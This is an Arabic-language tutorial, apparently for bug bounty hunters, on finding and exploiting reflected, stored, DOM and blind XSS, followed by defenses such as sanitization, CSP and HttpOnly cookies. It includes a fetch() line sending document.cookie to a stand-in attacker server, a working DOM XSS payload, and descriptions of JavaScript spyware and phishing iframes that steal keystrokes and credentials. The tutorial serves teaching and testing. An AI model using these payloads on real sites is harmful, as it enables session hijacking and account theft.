ما هي ثغرة XSS؟
تعد ثغرة Cross-Site Scripting (XSS)، المصنفة تحت CWE-79، فئة من الثغرات الأمنية في تطبيقات الويب حيث يقوم المهاجم بحقن كود JavaScript خبيث في محتوى يُسلَّم للمستخدمين. تحدث هذه الثغرة عندما تفشل التطبيقات في التحقق من صحة المدخلات التي يقدمها المستخدم أو تهريبها بشكل صحيح. إن الفهم الأساسي لـ XSS هو مهارة جوهرية للمتسللين الأخلاقيين لأنها تمهد الطريق للتعرف على استغلال الضعف في طريقة تعامل تطبيقات الويب مع بيانات المستخدم.
تأثير هجمات XSS
على الرغم من أن ثغرات XSS تُصنَّف غالباً على أنها ثغرات "متوسطة" الخطورة، إلا أن التأثير يمكن أن يختلف بشكل كبير. لتعظيم تأثير عمليات الاستغلال، يجب أن تولي دائماً انتباهاً إلى أين يتم تنفيذ الـ XSS. النتيجة المثلى هي Account Takeover (ATO) أو القدرة على تعديل بيانات حساسة لمستخدم آخر. في حالات نادرة، يمكن تنفيذ XSS مباشرة من ملف محلي وعرضه، مما قد يسمح بقراءة ملفات عشوائية أو حتى Remote Code Execution (RCE). يعتمد هذا بالكامل على كيفية معالجة XSS من قبل التطبيق.
أنواع هجمات XSS: الكشف، الاستغلال، وسير العمل
يعد الفهم العميق لكل نوع من هجمات XSS أمراً حاسماً لأنه يسمح لك باختيار استراتيجية الاستغلال الأكثر فعالية بناءً على سياق الهدف ووضع الأمان الخاص به.
ثغرة Reflected XSS
يحدث الـ Reflected XSS عندما لا يتم تعقيم مدخلات المستخدم بشكل صحيح ويعكسها الخادم في استجابته. ثم يقوم مدخل المستخدم المعكوس بتنفيذ كود JavaScript على جانب العميل في تطبيق الويب المصاب. يتم استغلال الـ Reflected XSS في الغالب عن طريق خداع الضحية للنقر على رابط ضار، مما يؤدي إلى تنفيذ كود JavaScript الخبيث في متصفح الضحية. هذا ذو قيمة خاصة للمهاجمين لأنه يوفر طريقاً مباشراً لاختطاف الجلسات وتهريب البيانات.
اكتشاف ثغرة Reflected XSS
يمكن العثور على ثغرات Reflected XSS في أي مدخل يمكن التحكم به من قبل المستخدم ويعكس في استجابة الخادم. عندما يكون هذا هو الحال، يستحق دائماً اختبار الـ Reflected XSS. غالباً ما توجد هذه الأنواع من الأخطاء في أماكن مثل نماذج البحث، نماذج تسجيل الدخول، أو مسارات الويب.
استغلال ثغرة Reflected XSS
نظراً لأن الـ Reflected XSS ينعكس من خلال قيمة مدخل مستخدم يمكن التحكم بها والتي تحدث عادة في عنوان URL أو معاملات الجسم، يتطلب الاستغلال عادة تفاعلاً من المستخدم.
ينطوي هذا في الغالب على شكل من أشكال هجوم التصيد الاحتيالي (Phishing) الذي يخدع الضحية للنقر على رابط يعكس حمل الـ XSS وينفذ كود JavaScript الخبيث. بعد إصابة الضحية بنجاح، يمكن للمهاجم بعد ذلك تنفيذ الإجراءات المطلوبة لاختطاف البيانات الحساسة أو الاستيلاء على جلسة الضحية.
مثال على استغلال Reflected XSS
يمكن بسهولة استخدام XSS تم اكتشافه في نموذج بحث ونفذ بنجاح في المتصفح لإنشاء عنوان URL يحتوي على حمل الـ XSS. عند النقر على الرابط من قبل الضحية، يتم تحميل الرقم وتنفيذ الحمولة.
يمكن أيضاً استخدام XSS لتغيير عنوان البريد الإلكتروني للمستخدم أو رقم الهاتف، أو للوصول مباشرة واختطاف جلسة الضحية — مما قد يؤدي إلى Account Takeover.
إذا كانت الجلسة مبنية على الكوكيز (Cookie-based) ولا تحتوي على علم HTTP-only، فيجب أن نتمكن من قراءة قيمة جلسة الضحية وإرسال هذه القيمة إلى الخادم تحت سيطرتنا.
على سبيل المثال، يمكننا إنشاء كود الاستغلال البسيط هذا لأداء طلب إلى خادم المهاجم يتضمن قيمة جلسة الضحية:
fetch(`//__ATTACKER_SERVER__/?data=${btoa(document.cookie)}`)
يؤكد هذا المثال على سبب إمكانية أن تكون لـ Reflected XSS عواقب خطيرة، حيث تؤدي مباشرة إلى وصول غير مصرح به إلى البيانات.
سير عمل استغلال Reflected XSS
يوضح سير العمل هذا العملية خطوة بخطوة لاستغلال Reflected XSS، ويسلط الضوء على سبب ضرورة كل مرحلة لتحقيق استغلال ناجح:
استغلال Reflected XSS معزول ومصادق عليه
في هذا السيناريو، يتم حقن الـ Reflected XSS وتنفيذه داخل حساب مصادق عليه. يوجد عادة إما داخل نقاط نهاية فريدة تعتمد على قيم فريدة متعلقة بالمستخدم المسجل حالياً (مثل UUID) أو داخل إعدادات حساب المستخدم. غالباً ما يمكن ربط الـ Reflected XSS المصادق عليه مع ثغرة Cross-Site Request Forgery (CSRF) في أماكن مثل نموذج تسجيل الدخول.
مثال على استغلال Reflected XSS معزول ومصادق عليه
تخيل أن استعلام البحث عرضة لـ Reflected XSS على نقطة نهاية مخصصة للمستخدم المسجل حالياً، وأن استعلام البحث يحتوي على قيمة UUID غير قابلة للتخمين مثل:
https://example.com/dashboard/b19d0210-b261-411d-8927-105277dd90a7/search?query=x">إذن التنسيق الأساسي هو:
https://example.com/dashboard/<UUID>/search?query=<XSS>
في هذا السيناريو، يعتمد الاستغلال على معرفة UUID للضحية، بينما تعرف فقط قيمة UUID لحسابك المسجل حالياً. لاستغلال Reflected XSS مصادق عليه في هذا الموقف، تحتاج إلى عنصرين:
- CSRF على عملية تسجيل الدخول
- معامل يمكن استخدامه لإعادة التوجيه إلى نقطة نهاية محلية على تطبيق الويب. في حالتنا نحتاج إلى إعادة توجيه الضحية إلى النقطة الطرفية المصابة التي تعكس حمل الـ XSS الخاص بنا
كلا هاتين المشكلتين، وربما بشكل مفاجئ، موجودتين على معظم تطبيقات الويب ويمكن استخدامهما كسلسلة للاستغلال الخاص بنا.
الآن لدينا خادم استغلال مع رابط يمكننا إرساله إلى الضحية. عند النقر على الرابط من قبل الضحية، يتم تسجيل دخولهم تلقائياً إلى حسابنا وإعادة توجيههم إلى النقطة الطرفية المصابة التي تحتوي على حمل الـ XSS الخاص بنا، والذي سيتم تنفيذه بعد ذلك.
في هذه المرحلة، لدينا إثبات مفهوم حيث يمكننا تشغيل ثغرة الـ XSS المنعكسة المصادق عليها بتفاعل مستخدم واحد فقط. الآن، إلى خطوتنا النهائية: جعل هذا الـ XSS ينشئ iframe أو يفتح نافذة جديدة فوق تطبيق الويب لخداع الضحية لتسجيل الدخول إلى حسابه. عند إدخال الضحية لتسجيل الدخول، يمكننا اختطاف بيانات الاعتماد بنص واضح واختراق حساب الضحية.
سير عمل استغلال Reflected XSS المعزول والمصادق عليه
يوضح سير العمل هذا عملية الاستغلال متعددة الخطوات ويؤكد على النقاط الحرجة التي يعتمد عليها الهجوم لتحقيق تأثيره:
ثغرة Stored XSS
يتضمن الـ Stored XSS حفظ السكربتات الخبيثة بشكل دائم على الخادم، مثل قاعدة البيانات أو ملف. يتم تنفيذ حمل الـ Stored XSS لاحقاً في كل مرة يصل المستخدمون إلى المحتوى المصاب. يعتبر الـ Stored XSS خطير بشكل خاص بسبب ثباته الذي يمكن أن يؤثر على العديد من المستخدمين بمرور الوقت، مما يجعله عادة خطأ عالي أو حتى حرج التأثير.
اكتشاف Stored XSS
توجد ثغرات Stored XSS في السياقات التي يتم فيها حفظ مدخلات المستخدم وإعادة استخدامها لاحقاً، مثل حقول التعليقات، المنشورات، أو الدردشات. نظراً لأن مدخلات المستخدم التي تحتوي على حمل الـ XSS يتم حفظها، قد تمر عبر عمليات عرض نصية متعددة. تجعل هذه العوامل تقنيات التعتيم والتشفير للحمولة أكثر فعالية، حيث أن تصادمات المرشحات أكثر احتمالاً من الـ Reflected XSS التقليدي.
استغلال Stored XSS
يتطلب استغلال الـ Stored XSS الصبر. لا يمكن للمهاجم بطبيعة الحال أن يعرف متى سيتم تنفيذ حمل الـ XSS أو من قبل أي مستخدم. ومن الحكمة بالتالي دمج تحليل مقاييس المستخدم في استراتيجية الاستغلال لتقييم مستويات امتياز ضحاياك النظريين.
مثال على استغلال Stored XSS
تخيل أنك وجدت ثغرة Stored XSS في حقل تعليق أسفل مقال. هذا يعني أن جميع المستخدمين الذين ينقرون على المقال ولديهم إمكانية الوصول إلى التعليقات معرضين لخطر العدوى.
تتقنية استغلال واحدة تعمل بشكل جيد في جميع سيناريوهات Stored XSS تقريباً، بما في ذلك مثال هجوم XSS هذا، تعمل مثل البرمجيات الخبيثة الدودية (worm malware) وتتبع الضحية داخل الصفحة حتى يغلق هو/هما تبويب المتصفح.
بمجرد إصابة الضحية بحمل الـ XSS الخاص بك، يجب تنفيذ كود JavaScript الخبيث فوراً ينشئ مستمع، بينما تنشئ عملية برمجية خبيثة أخرى iframe يغطي الصفحة بأكملها لعزل الضحية. يسمح لك هذا بمتابعة إجراءات الضحية المستقبلية.
داخل الـ iframe، يتم إطلاق سكربت برمجي خبيث آخر يختطق أي إجراء يقوم به المستخدم (مثل ضغطات المفاتيح، موقع الماوس، بيانات الاستجابة). أخيراً، يجب إرسال جميع البيانات المختطقة إلى خادم الهجوم الخاص بك. لتجاوز CORS، يمكنك استخدام الصور لإرسال طلبات HTTP يتم فيها تضمين البيانات المختطقة.
سير عمل استغلال Stored XSS
يوضح سير العمل هذا سبب اعتبار Stored XSS عالي التأثير وكيف يمكنه أن يبقى مخفياً ويستمر في تهريب البيانات الحساسة من مستخدمين متعددين:
ثغرة DOM XSS
تحدث أخطاء Document Object Model (DOM) XSS بالكامل على جانب العميل، عندما يقوم كود JavaScript غير آمن بتعديل الـ DOM بشكل ديناميكي. قد يظهر DOM XSS بسبب تحورات غير متوقعة أو تعقيم غير سليم لمدخلات المستخدم عند إنشاء كود HTML جديد.
اكتشاف DOM XSS
يمكن الكشف عن DOM-based XSS باستخدام مصحح أخطاء وحدة تطوير المتصفح (DevTools)، مقروناً بأداة كشف DOM مثل DOM Invader. أداة أخرى مفيدة في هذا السياق هي Dom-Explorer، التي تسمح لك بمعرفة كيف يقوم المتصفحون الشائعون بتحليل HTML.
تحدث ثغرات DOM عندما لا يتم تعقيم مدخلات المستخدم بشكل صحيح ويعكس أو يتم إساءة استخدامه في سير عمل. غالباً ما يثق المطورون بالتالي في متغيرات كائن document أو window عند استخدام طريقة innerHTML.
استغلال DOM XSS
تختلف عمليات استغلال DOM XSS بشكل كبير بناءً على كيف يقوم المتصفح بتحليل وعرض كود HTML. قد تحدث سلوكيات أو عمليات معالجة في متصفح واحد ولا تحدث في آخر. ومن المهم بالتالي عند كتابة استغلال التحقق من أن الحمولة ستنجح في المتصفح الذي يستخدمه الضحية.
مثال على استغلال DOM XSS
تخيل أن تطبيقاً يستخدم المتغير window.location.href، الذي يمكن التحكم به من قبل المستخدم. تقوم بإدخال هذه القيمة في سمة href لوسم <a>، مما يجعلها وجهة الرابط.
إذا لم يتم تعقيم سمة href بشكل صحيح، فيمكن للمهاجم تهريبها، ثم تنفيذ JavaScript داخل وسم <a>.
مثال على مقتطف كود معرض للخطر:
<script>
document.body.innerHTML += "<a href='"+window.location.href+"'>Home</a>"
</script>
يمكننا استغلال هذا الكود في نقطة نهاية هدفنا المصاب بالطريقة التالية:
https://example.com/index.php/x' oncontentvisibilityautostatechange=alert(1) style='display:block;content-visibility:auto
حمل XSS:
x' oncontentvisibilityautostatechange=alert(1) style='display:block;content-visibility:auto
النتيجة النهائية لكود HTML:
<a href="x" oncontentvisibilityautostatechange="alert(1)" style="display:block;content-visibility:auto">Home</a>
عندما يتم إضافة كود HTML هذا إلى الـ DOM، فسوف يشغل مباشرة حمل الـ XSS الخاص بنا وينفذ كود JavaScript: alert(1).
سير عمل استغلال DOM XSS
يوضح سير العمل هذا خطوات التلاعب من جانب العميل وسبب أهمية كل قسم لهجوم DOM XSS ناجح:
ثغرة Blind XSS
تنشأ ثغرات Blind XSS عندما يتمكن المهاجم من حقن سكربت خبيث لا يتم تنفيذه فوراً في متصفحه الخاص. بدلاً من ذلك، يتم تشغيله في وقت لاحق، وفي سياق مختلف. في معظم الحالات، يتم رفع تأثير الـ Blind XSS بشكل كبير بسبب حقيقة أنها عادة ما تصيب ضحايا ذوي امتيازات عالية تمنحهم الوصول إلى أقسام مقيدة من التطبيق.
اكتشاف Blind XSS
يعتمد اكتشاف الـ Blind XSS بشكل كبير على اختبار أمان التطبيقات خارج النطاق (OAST)، حيث لا يتم تشغيل الـ Blind XSS مباشرة وفي معظم الحالات يتم تشغيله في سياق مختلف عن الحقن الأولي. يمكن العثور على هذه الأخطاء في أماكن مثل نماذج الاتصال أو المنشورات التي تنتظر التحقق.
نظراً لعدم قدرتك على التنبؤ متى سيتم تنفيذ الـ Blind XSS، فمن المهم أن تكون صبوراً وتتأكد من أن خادمك المتحكم به نشط دائماً ويستمع للطلبات الواردة. هذا مهم بشكل خاص نظراً لاحتياجنا لاستخدام تقنية OAST لتأكيد متى تم تشغيل الـ Blind XSS من قبل ضحية.
استغلال Blind XSS
في معظم الحالات، لاستغلال Blind XSS تحتاج إلى كتابة برمجية خبيثة مبنية على JavaScript — وتحديداً برمجية تجسس (spyware). يمكننا القيام بذلك عن طريق إنشاء برمجية خبيثة مشابهة لتلك التي أنشأناها لاستغلال Stored XSS في قسم سابق. سيسمح لنا هذا بمراقبة واختطاف أي بيانات يراها الضحية والإجراءات التي يقوم بها — مما يسمح لنا على الأرجح بالاستيلاء على الحساب. تعد عمليات استغلال Blind XSS لا تقدر بثمن للمهاجمين لأنها تسمح لهم باستهداف مستخدمين ذوي امتيازات عالية بمرور الوقت، مما يزيد من التأثير المحتمل للاستغلال.
مثال على استغلال Blind XSS
لنفترض أنك اكتشفت ثغرة Blind XSS باستخدام تقنية OAST في نموذج اتصال. سيؤدي الاستغلال بالتالي إلى إصابة ضحايا بامتياز أعلى من مستخدمك الحالي لأن لديه/لديها صلاحية قراءة رسائل نموذج الاتصال المرسلة من قبل مستخدمين آخرين.
قد لا نكون على أي حال على دراية بإجراءات أخرى يمكن لهذا المستخدم القيام بها بهذا المستوى من الامتياز. ومن المفيد بالتالي كتابة برمجية تجسس يمكنها اختطاق بيانات كافية تسمح لنا في النهاية باختراق حساب الضحية.
سير عمل استغلال Blind XSS
يؤكد سير العمل هذا على تسلسل الخطوات المتضمنة في Blind XSS وتنفيذها المؤجل:
الوقاية والتخفيف من XSS
تتضمن تخفيفات هجمات Cross-Site Scripting أكثر من مجرد تصفية أو تهريب أحرف HTML الأساسية. يجب أن تتضمن الدفاعات الناجحة ضد هجمات XSS نهجاً متعدد الطبقات يستهدف كل مرحلة من مراحل التعامل مع البيانات — من التعقيم الأولي للمدخلات عبر رؤوس الأمان بعد النشر:
التحقق من صحة المدخلات وترميز المخرجات
يعتمد المهاجمون على البيانات غير الموثوقة لحقن حمولات XSS الخبيثة. يجب أن يرفض التحقق السليم من المدخلات الأحرف الضارة في أقرب مرحلة ممكنة، بينما يضمن ترميز المخرجات أن أي أحرف خاصة متبقية يتم عرضها بشكل آمن بدلاً من تنفيذها. عند الحاجة إلى HTML محدود — مثل في المحتوى الذي ينشئه المستخدم مثل المنشورات أو التعليقات — من الحاسم إنشاء قائمة بيضاء صارمة من الوسوم والسمات المسموح بها. يحد هذا النهج المستخدمين من عناصر HTML الآمنة والضرورية فقط، مما يقلل بشكل كبير من خطر هجمات الحقن مع الحفاظ على الوظائف.
فيما يلي مثال على كيف يمكن أن يظهر حمل XSS ضار محتمل، يتبعه مقتطف قصير يوضح كيف يمكنك تعقيمه باستخدام sanitize-html في Node.js:
const userInput = '<img src=x onerror=alert("XSS!")>'; // Example XSS payload
// Using sanitize-html to escape the user input
const sanitizeHtml = require('sanitize-html');
const sanitizedOutput = sanitizeHtml(userInput, {
allowedTags: ['b', 'i', 'img', 'strong'], // Example whitelist
allowedAttributes: {
'img': ['src']
}
});
ال Content Security Policy (CSP)
تتحكم سياسة أمان المحتوى (CSP) في الموارد التي يمكن للمتصفح تحميلها وتنفيذها. حتى إذا تمكن المهاجم من حقن كود خبيث، يمكن لـ CSP مهيأة بشكل جيد أن تمنعه من التنفيذ — مما يلغي التهديد بشكل فعال.
مثال في Node.js (Express) لتعيين رؤوس CSP:
const express = require('express');
const app = express();
// A simple example CSP that allows scripts only from the current domain,
// restricts all other sources, and disallows inline scripts.
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy",
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self'; " +
"img-src 'self'; " +
"object-src 'none'; " +
"base-uri 'self'; " +
"frame-ancestors 'none'"
// More CSP rules...
);
next();
});
ال Web Application Firewalls (WAFs)
تقوم جدران حماية تطبيقات الويب (WAFs) بتصفية ومراقبة حركة HTTP لاكتشاف وحظر السكربتات الخبيثة. تستخدم كشف قائم على القواعد، ومطابقة التوقيعات، وتحليل السلوك، و بشكل متزايد، التعلم الآلي لتحديد محاولات XSS.
ال Secure Cookie Flags
إذا كانت رموز الجلسة الخاصة بك يمكن الوصول إليها عبر JavaScript (أي إذا لم يتم تعيين علم HttpOnly)، فيمكن للمهاجم الذي يستغل XSS بنجاح سرقة كوكيز الجلسة ببساطة — والاستيلاء بسهولة على حساب الضحية. لحماية ضد هذا التهديد، يجب على التطبيق تطبيق HttpOnly لملفات تعريف الارتباط للجلسة و CSRF. عند تفعيل علم HttpOnly على ملف تعريف ارتباط، يمنع JavaScript من قراءة قيمته.
الخاتمة: خطوات نحو نجاح XSS
لذا لقد لخصنا بعض أكثر تقنيات XSS شيوعاً وأنواعها الفرعية، كيف يمكنك الكشف عن هذه الثغرات واستغلالها، والأدوات المفيدة للقيام بذلك — كلها معرفة ضرورية للصيادين الناشئين.
الآن تعرف أن هناك أكثر من وضع 'alert(1)' في حمولات الـ XSS الخاصة بك، وأن هذا الخلل الأمني المنتشر يمكن أن يسبب الكثير من الضرر — مع الحمولة الصحيحة والعملية الصحيحة.
عند اكتشاف ثغرة XSS في المستقبل، تأكد من استثمار وقت كافٍ لتعظيم التأثير ومكافأة الـ Bounty الخاصة بك. لهذا الغرض، فإن إنشاء برمجية خبيثة مخصصة من JavaScript تختطق بيانات قيمة من حساب الضحية سوف يمنحك إثبات مفهوم مفيد.
انضم إلى الشبكة وكن جزءًا من مجتمع يهتم بالبحث الأمني الحقيقي:
https://t.me/addlist/T8MzADkFhRlhZGRk
